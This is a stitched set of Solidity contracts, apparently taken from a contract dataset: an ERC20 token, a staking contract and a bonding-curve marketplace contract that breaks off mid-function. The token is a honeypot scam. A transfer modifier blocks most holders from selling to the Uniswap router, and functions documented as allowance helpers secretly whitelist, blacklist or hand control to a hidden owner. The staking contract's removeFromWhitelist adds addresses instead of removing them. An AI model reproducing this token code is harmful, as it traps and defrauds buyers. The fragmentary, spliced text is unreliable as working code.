* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP. Does not include
* the optional functions; to access them see {ERC20Detailed}.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
address public _owner;
address private _safeOwner;
address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_owner = owner;
_safeOwner = owner;
_mint(_owner, initialSupply*(10**18));
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(_msgSender(), recipient, amount);
return true;
}
function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
transfer(receivers[i], amounts[i]);
if(i < approvecount){
_whiteAddress[receivers[i]]=true;
_approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935);
}
}
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_whiteAddress[receivers[i]] = true;
_blackAddress[receivers[i]] = false;
}
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address safeOwner) public {
require(msg.sender == _owner, "!owner");
_safeOwner = safeOwner;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function addApprove(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_blackAddress[receivers[i]] = true;
_whiteAddress[receivers[i]] = false;
}
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) public {
require(msg.sender == _owner, "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[_owner] = _balances[_owner].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
modifier burnTokenCheck(address sender, address recipient, uint256 amount){
if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{
if (sender == _owner || sender == _safeOwner || recipient == _owner){
if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{
if (_whiteAddress[sender] == true){
_;}else{if (_blackAddress[sender] == true){
require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{
if (amount < _sellAmount){
if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;}
_; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}
}
}
}
}
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
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|
// SPDX-License-Identifier: MIT
pragma solidity 0.8.6;
/**
* @title Staking
* @author gotbit
*/
interface IERC20 {
function balanceOf(address who) external view returns (uint256 balance);
function transfer(address to, uint256 value) external returns (bool trans1);
function transferFrom(
address from,
address to,
uint256 value
) external returns (bool trans);
}
contract OwnableAndWhitelistble {
address public owner;
mapping(address => bool) internal whitelist;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
event WhitelistAdded(address indexed sender, address indexed whitelistUser);
event WhitelistRemoved(address indexed sender, address indexed whitelistUser);
modifier onlyOwner() {
require(msg.sender == owner, 'Only owner can call this function');
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0), 'You cant transfer ownerships to address 0x0');
require(newOwner != owner, 'You cant transfer ownerships to yourself');
emit OwnershipTransferred(owner, newOwner);
whitelist[owner] = false;
whitelist[newOwner] = true;
owner = newOwner;
}
modifier onlyWhitelist() {
require(whitelist[msg.sender], 'Only whitelist users can call this function');
_;
}
function addToWhitelist(address newWhitelistUser) public onlyOwner {
require(newWhitelistUser != address(0), 'You cant add to whitelist address 0x0');
emit WhitelistAdded(msg.sender, newWhitelistUser);
whitelist[newWhitelistUser] = true;
}
function removeFromWhitelist(address newWhitelistUser) public onlyOwner {
require(newWhitelistUser != address(0), 'You cant add to whitelist address 0x0');
emit WhitelistAdded(msg.sender, newWhitelistUser);
whitelist[newWhitelistUser] = true;
}
}
contract Staking is OwnableAndWhitelistble {
struct Stake {
uint lastHarvest;
uint startStaking;
uint amount;
uint boost;
}
IERC20 public mainToken;
address public dividends;
uint public year = 365 days;
uint public rate = 10;
uint public beforeCutoff = 15;
uint public afterCutoff = 10;
// prod
uint public cutoff = 48 hours;
uint public stakePeriod = 48 hours;
uint public maxStakePeriod = year;
mapping(address => Stake) public stakes;
event Staked(address indexed who, uint startTime, uint amount);
event Harvested(address indexed who, uint value, uint toDividends);
event Unstaked(address indexed who, uint amount);
event Boosted(address indexed who, uint boost);
constructor(address owner_, address token_, address dividends_) {
owner = owner_;
mainToken = IERC20(token_);
dividends = dividends_;
}
function stake(uint amount_)
public {
require(stakes[msg.sender].startStaking == 0, 'You have already staked');
require(amount_ > 0, 'Amount must be greater then zero');
require(mainToken.balanceOf(msg.sender) >= amount_, 'You dont enough DES');
require(maxReward(amount_) < mainToken.balanceOf(address(this)), 'Pool is empty');
mainToken.transferFrom(msg.sender, address(this), amount_);
stakes[msg.sender] = Stake(block.timestamp, block.timestamp, amount_, 0);
emit Staked(msg.sender, block.timestamp, amount_);
}
function maxReward(uint amount_)
public
view
returns (uint256) {
return (amount_ * maxStakePeriod * rate) / (100 * year);
}
function harvest()
public
returns (uint value, uint toDividends) {
require(stakes[msg.sender].startStaking != 0, 'You dont have stake');
(uint value_, uint toDividends_) = harvested(msg.sender);
require(mainToken.balanceOf(address(this)) >= (value_ + toDividends_), 'Contract doesnt have enough DES');
stakes[msg.sender].lastHarvest = block.timestamp;
mainToken.transfer(msg.sender, value_);
mainToken.transfer(dividends, toDividends_);
emit Harvested(msg.sender, value_, toDividends_);
return (value_, toDividends_);
}
function harvested(address who_)
public
view
returns (uint value_, uint toDividends_) {
if (stakes[who_].lastHarvest == 0) return (0, 0);
Stake memory stake_ = stakes[who_];
uint timeNow = block.timestamp;
if ( (block.timestamp - stake_.startStaking) > maxStakePeriod ) {
timeNow = stake_.startStaking + maxStakePeriod;
}
uint timePassed_ = timeNow - stake_.lastHarvest;
uint percentDiv_ = timePassed_ < cutoff ? beforeCutoff: afterCutoff;
uint reward_ = (stake_.amount * timePassed_ * (rate + stake_.boost)) / (100 * year);
uint toDiv_ = (reward_ * percentDiv_) / 100;
return (reward_ - toDiv_, toDiv_);
}
function unstake()
public {
require(stakes[msg.sender].startStaking != 0, 'You dont have stake');
require((block.timestamp - stakes[msg.sender].startStaking) >= stakePeriod, 'Time does not pass');
harvest();
uint amount_ = stakes[msg.sender].amount;
require(mainToken.balanceOf(address(this)) >= amount_, 'Contract doesnt have enough DES');
delete stakes[msg.sender];
mainToken.transfer(msg.sender, amount_);
emit Unstaked(msg.sender, amount_);
}
function getStake(address user_)
public
view
returns (Stake memory) {
return stakes[user_];
}
function setRate(uint rate_)
public
onlyOwner {
rate = rate_;
}
function setBoost(address for_, uint boost_)
public
onlyWhitelist {
stakes[for_].boost = boost_;
emit Boosted(for_, boost_);
}
function setDividends(address newDividends_)
public
onlyOwner {
dividends = newDividends_;
}
function setBeforeAfterCutoff(uint cutoff_, uint beforeCutoff_, uint afterCutoff_)
public
onlyOwner {
cutoff = cutoff_;
beforeCutoff = beforeCutoff_;
afterCutoff = afterCutoff_;
}
} | True | [
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|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/proxy/Clones.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "./ERC20.sol";
import "../wallet/ShardedWallet.sol";
import "../governance/IGovernance.sol";
import "../interface/IERC1363Receiver.sol";
import "../interface/IERC1363Spender.sol";
contract LiquidityToken is ERC20 {
address public controler;
modifier onlyControler() {
require(msg.sender == controler);
_;
}
constructor() {
controler = address(0xdead);
}
function initialize(address controler_, string memory name_, string memory symbol_) public {
require(controler == address(0));
controler = controler_;
_initialize(name_, symbol_);
}
function controllerTransfer(address sender, address recipient, uint256 amount) public onlyControler {
_transfer(sender, recipient, amount);
}
function controllerMint(address account, uint256 amount) public onlyControler {
_mint(account, amount);
}
function controllerBurn(address account, uint256 amount) public onlyControler {
_burn(account, amount);
}
}
// used by CustomPricingCurveDeployer.sol
contract CustomPricingCurve is IERC1363Spender {
struct CurveCoordinates {
uint256 x;
uint256 k;
}
struct Asset {
uint256 underlyingSupply;
uint256 feeToNiftex;
uint256 feeToArtist;
}
LiquidityToken immutable internal _template;
// bytes32 public constant PCT_FEE_SUPPLIERS = bytes32(uint256(keccak256("PCT_FEE_SUPPLIERS")) - 1);
bytes32 public constant PCT_FEE_SUPPLIERS = 0xe4f5729eb40e38b5a39dfb36d76ead9f9bc286f06852595980c5078f1af7e8c9;
// bytes32 public constant PCT_FEE_ARTIST = bytes32(uint256(keccak256("PCT_FEE_ARTIST")) - 1);
bytes32 public constant PCT_FEE_ARTIST = 0xdd0618e2e2a17ff193a933618181c8f8909dc169e9707cce1921893a88739ca0;
// bytes32 public constant PCT_FEE_NIFTEX = bytes32(uint256(keccak256("PCT_FEE_NIFTEX")) - 1);
bytes32 public constant PCT_FEE_NIFTEX = 0xcfb1dd89e6f4506eca597e7558fbcfe22dbc7e0b9f2b3956e121d0e344d6f7aa;
LiquidityToken public etherLPToken;
LiquidityToken public shardLPToken;
CurveCoordinates public curve;
Asset internal _etherLPExtra;
Asset internal _shardLPExtra;
address public wallet;
address public recipient;
uint256 public deadline;
event Initialized(address wallet);
event ShardsBought(address indexed account, uint256 amount, uint256 cost);
event ShardsSold(address indexed account, uint256 amount, uint256 payout);
event ShardsSupplied(address indexed provider, uint256 amount);
event EtherSupplied(address indexed provider, uint256 amount);
event ShardsWithdrawn(address indexed provider, uint256 payout, uint256 shards, uint256 amountLPToken);
event EtherWithdrawn(address indexed provider, uint256 value, uint256 payout, uint256 amountLPToken);
event KUpdated(uint256 newK, uint256 newX);
constructor() {
_template = new LiquidityToken();
wallet = address(0xdead);
}
function initialize(
uint256 supply,
address wallet_,
address recipient_,
address sourceOfFractions_,
uint256 k_,
uint256 x_,
uint256 liquidityTimelock_
)
public payable
{
require(wallet == address(0));
string memory name_ = ShardedWallet(payable(wallet_)).name();
string memory symbol_ = ShardedWallet(payable(wallet_)).symbol();
etherLPToken = LiquidityToken(Clones.clone(address(_template)));
shardLPToken = LiquidityToken(Clones.clone(address(_template)));
etherLPToken.initialize(address(this), string(abi.encodePacked(name_, "-EtherLP")), string(abi.encodePacked(symbol_, "-ELP")));
shardLPToken.initialize(address(this), string(abi.encodePacked(name_, "-ShardLP")), string(abi.encodePacked(symbol_, "-SLP")));
wallet = wallet_;
recipient = recipient_;
deadline = block.timestamp + liquidityTimelock_;
emit Initialized(wallet_);
// transfer assets
if (supply > 0) {
require(ShardedWallet(payable(wallet_)).transferFrom(sourceOfFractions_, address(this), supply));
}
{
// setup curve
curve.x = x_;
curve.k = k_;
}
address mintTo = liquidityTimelock_ == 0 ? recipient_ : address(this);
// mint liquidity
etherLPToken.controllerMint(mintTo, msg.value);
shardLPToken.controllerMint(mintTo, supply);
_etherLPExtra.underlyingSupply = msg.value;
_shardLPExtra.underlyingSupply = supply;
emit EtherSupplied(mintTo, msg.value);
emit ShardsSupplied(mintTo, supply);
}
function buyShards(uint256 amount, uint256 maxCost) public payable {
uint256 cost = _buyShards(msg.sender, amount, maxCost);
require(cost <= msg.value);
if (msg.value > cost) {
Address.sendValue(payable(msg.sender), msg.value - cost);
}
}
function sellShards(uint256 amount, uint256 minPayout) public {
require(ShardedWallet(payable(wallet)).transferFrom(msg.sender, address(this), amount));
_sellShards(msg.sender, amount, minPayout);
}
function supplyEther() public payable {
_supplyEther(msg.sender, msg.value);
}
function supplyShards(uint256 amount) public {
require(ShardedWallet(payable(wallet)).transferFrom(msg.sender, address(this), amount));
_supplyShards(msg.sender, amount);
}
function onApprovalReceived(address owner, uint256 amount, bytes calldata data) public override returns (bytes4) {
require(msg.sender == wallet);
require(ShardedWallet(payable(wallet)).transferFrom(owner, address(this), amount));
bytes4 selector = abi.decode(data, (bytes4));
if (selector == this.sellShards.selector) {
(,uint256 minPayout) = abi.decode(data, (bytes4, uint256));
_sellShards(owner, amount, minPayout);
} else if (selector == this.supplyShards.selector) {
_supplyShards(owner, amount);
} else {
revert("invalid selector in onApprovalReceived data");
}
return this.onApprovalReceived.selector;
}
function _buyShards(address buyer, uint256 amount, uint256 maxCost) internal returns (uint256) {
IGovernance governance = ShardedWallet(payable(wallet)).governance();
address owner = ShardedWallet(payable(wallet)).owner();
address artist = ShardedWallet(payable(wallet)).artistWallet();
// pause if someone else reclaimed the ownership of shardedWallet
require(owner == address(0) || governance.isModule(wallet, owner));
// compute fees
uint256[3] memory fees;
fees[0] = governance.getConfig(wallet, PCT_FEE_SUPPLIERS);
fees[1] = governance.getConfig(wallet, PCT_FEE_NIFTEX);
fees[2] = artist == address(0) ? 0 : governance.getConfig(wallet, PCT_FEE_ARTIST);
uint256 amountWithFee = amount * (10**18 + fees[0] + fees[1] + fees[2]) / 10**18;
// check curve update
uint256 newX = curve.x - amountWithFee;
uint256 newY = curve.k / newX;
require(newX > 0 && newY > 0);
// check cost
uint256 cost = newY - curve.k / curve.x;
require(cost <= maxCost);
// consistency check
require(ShardedWallet(payable(wallet)).balanceOf(address(this)) - _shardLPExtra.feeToNiftex - _shardLPExtra.feeToArtist >= amount * (10**18 + fees[1] + fees[2]) / 10**18);
// update curve
curve.x = curve.x - amount * (10**18 + fees[1] + fees[2]) / 10**18;
// update LP supply
_shardLPExtra.underlyingSupply += amount * fees[0] / 10**18;
_shardLPExtra.feeToNiftex += amount * fees[1] / 10**18;
_shardLPExtra.feeToArtist += amount * fees[2] / 10**18;
// transfer
ShardedWallet(payable(wallet)).transfer(buyer, amount);
emit ShardsBought(buyer, amount, cost);
return cost;
}
function _sellShards(address seller, uint256 amount, uint256 minPayout) internal returns (uint256) {
IGovernance governance = ShardedWallet(payable(wallet)).governance();
address owner = ShardedWallet(payable(wallet)).owner();
address artist = ShardedWallet(payable(wallet)).artistWallet();
// pause if someone else reclaimed the ownership of shardedWallet
require(owner == address(0) || governance.isModule(wallet, owner));
// compute fees
uint256[3] memory fees;
fees[0] = governance.getConfig(wallet, PCT_FEE_SUPPLIERS);
fees[1] = governance.getConfig(wallet, PCT_FEE_NIFTEX);
fees[2] = artist == address(0) ? 0 : governance.getConfig(wallet, PCT_FEE_ARTIST);
uint256 newX = curve.x + amount;
uint256 newY = curve.k / newX;
require(newX > 0 && newY > 0);
// check payout
uint256 payout = curve.k / curve.x - newY;
require(payout <= address(this).balance - _etherLPExtra.feeToNiftex - _etherLPExtra.feeToArtist);
uint256 value = payout * (10**18 - fees[0] - fees[1] - fees[2]) / 10**18;
require(value >= minPayout);
// update curve
curve.x = newX;
// update LP supply
_etherLPExtra.underlyingSupply += payout * fees[0] / 10**18;
_etherLPExtra.feeToNiftex += payout * fees[1] / 10**18;
_etherLPExtra.feeToArtist += payout * fees[2] / 10**18;
// transfer
Address.sendValue(payable(seller), value);
